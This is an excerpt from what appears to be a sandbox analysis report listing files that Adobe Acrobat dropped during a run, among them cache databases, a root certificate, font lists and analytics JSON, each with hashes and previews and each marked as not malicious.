SHA-512:	174B8DECD7BF6294E77E18D2A1C28F47100D68034AE99D011FB29D6B9B37205C6B3A55143E9D5BF89DEDC1FF6E0E570EB1EFA303D457F16560A4568C690D6067
Malicious:	false
Preview:	2025/01/10-12:26:38.295 1cf8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:26:38.296 1cf8 Recovering log #3.2025/01/10-12:26:38.297 1cf8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444805735916594
Encrypted:	false
SSDEEP:	384:yezci5tKiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rls3OazzU89UTTgUL
MD5:	E4E3AE1DB3222E08A70FB58AEC0E38B4
SHA1:	5D8F3EBB2F04D21B6DD418A8A6C940FEE8DDBDF8
SHA-256:	1BA86F691A8FF2868E70128DF860A82AE6947B94C0F9318B8D6DA20979AAA84C
SHA-512:	71597A1B6E9070F7C3FE1210907D5D8B304A93E8B7968ADFABD28F87A38DCBEB891B7C949B7C6A5C6E4D926308C50014C0A9BC40B932B716A85506AC6D4C0840
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.772118691918342
Encrypted:	false
SSDEEP:	48:7MOp/E2ioyVwioy9oWoy1Cwoy1QKOioy1noy1AYoy1Wioy1hioybioysoy1noy1C:7lpjuwF7XKQlob9IVXEBodRBkH
MD5:	22DCD4C1FD9560617BB758C4EC2BD4E1
SHA1:	05E2C3326533848C10C2E75782DB253458865164
SHA-256:	75D81B1B52D49A16046A9E93D896F617EA3A325146E3C4193CAFB52F2D297BB2
SHA-512:	B990017E59B5C12A3326059BAC770A7EFB6013B8E8C98698E5A966C6200619AF67221C25B62840807214DDB33A0DA693707D765C9A5A2BD93E881E0A2D68C05C
Malicious:	false
Preview:	.... .c......q.r...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.764745823915414
Encrypted:	false
SSDEEP:	3:kkFkl3ANQ+EllltfllXlE/HT8k1wJltNNX8RolJuRdxLlGB9lQRYwpDdt:kKPq+M/eT88wrTNMa8RdWBwRd
MD5:	F1BBADD1629BA8467660FDAB4D1AB0D6
SHA1:	0DB629EF96908E9618AA0C042F2A4AA1A998CF07
SHA-256:	93CB18264F3E4D20C6134646F4C0A7808C4E4CC3DDF7087F16C438AF068EB482
SHA-512:	8ED2B7217B76359FB8710E636EBC561A20D4D09860B1C4592FD9B007BBF928B1AF83A9913D26E96183B225DF132C217B6CF637C60735ED29B1C86073F6CD8766
Malicious:	false
Preview:	p...... .........%`.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.1330815974444413
Encrypted:	false
SSDEEP:	6:kKQL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:YiDnLNkPlE99SNxAhUe/3
MD5:	7154AE2FD735BCD506F16C6A67AA637A
SHA1:	08E58BFC6A59BE3D11B7C2EA626D68CBB26E85DC
SHA-256:	46A0B07A0875FA52CDB18FF49FE5AA5AD5A21791356E9D14BE0F5D7821E5FBE5
SHA-512:	093539CC50E52D1AEB981A8CC6AFCCEFCC31206F6F19678460D9BB481A9A54B96A339B9588C5B2C52F82EA78C782307EC6791ED6B6D9EF7A6EC164214BCB043B
Malicious:	false
Preview:	p...... ........C...c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6864

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6864

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.362631873058409
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJvVgHVoZcg1vRcR0YqWdfCoAvJM3g98kUwPeUkwRe9:YvXKXJvVDZc0vFIGMbLUkee9
MD5:	8E3E5781BFC4C0408585830A934B9A82
SHA1:	71545E8582A9F82B9CD176A71FED9022D171316E
SHA-256:	98CC9C4D108EF7F66B6E6757B0C17209201E8F4E5244C1FD38FB5DD7A506527D
SHA-512:	76CDBEBC350963D8A93B6D7D91A01F56C87FD83209D54F01AE292C26D2BEB8A3D9C39F347EBE889B9BF9CEFB42D61A038CC163A142373F30110C993F63F8D379
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3720b299-fb76-4a19-ab93-2ea9c912904c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736708386624,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.313264531444941
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJvVgHVoZcg1vRcR0YqWdfCoAvJfBoTfXpnrPeUkwRe9:YvXKXJvVDZc0vFIGWTfXcUkee9
MD5:	244C9C5DCAE79A7F2847F9A70FF4B74D
SHA1:	FE1FC92CFC3CB5FE5E12D2C4254D7AC6DA273191
SHA-256:	9ECC17D0F4B2F94D60F82F7233FB010C0887B5D0E8D295E4864A2076A055D867
SHA-512:	F454E960C9F652F00243E9141FF314DA74751A2AB93B63E9F251E1614BDCBFDDF885CD94D8619A166E61C4778C26C683E77F2E27DE17395C98AA2967EB0A93D1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3720b299-fb76-4a19-ab93-2ea9c912904c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736708386624,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2915240268027475
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJvVgHVoZcg1vRcR0YqWdfCoAvJfBD2G6UpnrPeUkwRe9:YvXKXJvVDZc0vFIGR22cUkee9
MD5:	267B9D3C401F4803B20069AE634C282D
SHA1:	199588DB6E03E4788EBE40D3EEBC1B50A619AFC1
SHA-256:	A19EDFD564E05034F16DA57034D88F2FF11F6BA98C0041316ED1E0B2CC319890
SHA-512:	8B77510C2F5A4DFC65057EFEB9A5B47A3F0DC88806FF6F5B70A4BEA8739013C30C1AC417D95C4F9E0E75453BBA4BBCCE5691654984E937FB7501621EF422DB2A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3720b299-fb76-4a19-ab93-2ea9c912904c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736708386624,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.34961671212168
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJvVgHVoZcg1vRcR0YqWdfCoAvJfPmwrPeUkwRe9:YvXKXJvVDZc0vFIGH56Ukee9
MD5:	11C5DCB7810C6B92563FCCDCBD0266E2
SHA1:	8FCA9C394074B6BC057486F39CDD5EB7434B0CA9
SHA-256:	9687F0BF5F848183515FB907214977203163F0D4B284C3B5933213642EB16BF2
SHA-512:	5D2D342952B5BF48E51A9B1EC03FE8D77CEB920110FF319104A7B4AB05C68E0D9201EC1D00A1B78CD8C1C4ABD436032CD9AF6BD206CF32BB25C26C2C86398286
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3720b299-fb76-4a19-ab93-2ea9c912904c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736708386624,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687299755008183
Encrypted:	false
SSDEEP:	24:Yv6XrzvrpLgE9cQx8LennAvzBvkn0RCmK8czOCCSMr:YvIThgy6SAFv5Ah8cv/A
MD5:	71DE191AD294CA48242E57DD301A22AF
SHA1:	F83542657D93E3BD8AFB021AAB5975577A0F5E57
SHA-256:	7041FE2388079119D9D1858C277541AF4813EA4E38C15EF899F62DFDA070D21A
SHA-512:	1E0C521599AE5FC1F64714DAEEAD8349EE57E03F2A9885F09A4418F98D64E046076DF4DEB7372F145B30A13026EEFA04DD147566AA24FEBF0D082D03A2C1D658
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3720b299-fb76-4a19-ab93-2ea9c912904c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736708386624,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.298728296288421
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJvVgHVoZcg1vRcR0YqWdfCoAvJf8dPeUkwRe9:YvXKXJvVDZc0vFIGU8Ukee9
MD5:	1B9B06D0730185497C66852D5DF9F45D
SHA1:	218F8932BBC56B7856C19DFC9558D38D2E98E479
SHA-256:	6117C32C48EFD9D22145360B2080FF7CE21A45BD86350F32BF17090CBE4511A5
SHA-512:	E77EAC3832BA7713DF001A010E642C333C840E756256B88D7A99E6CC14F472E7F4D16A082C1B2CE648F659BAE8B35E1562740B6791B9827C73A6FAD98C97DB75
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3720b299-fb76-4a19-ab93-2ea9c912904c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736708386624,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.303223596152602
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJvVgHVoZcg1vRcR0YqWdfCoAvJfQ1rPeUkwRe9:YvXKXJvVDZc0vFIGY16Ukee9
MD5:	AFE0F9AA5A4107CD5F053585C559DDFA
SHA1:	BE5B0F4AC4BBDD3601A8E1F65BB70C82349418B3
SHA-256:	4FD10E213014E0EF09A1E5CD55E463E549D7F138F6F301C8B4424FC6B7D85582
SHA-512:	8C5E98ED62C9065CA5CBA2E835FC0CD810CAEDB7FFAD4D0EB89F2AE8A3B68121124D92C8C7C3DC3B796AB07BC0036F1F6E88A6400809B6CEF848F32BF89DEC9B
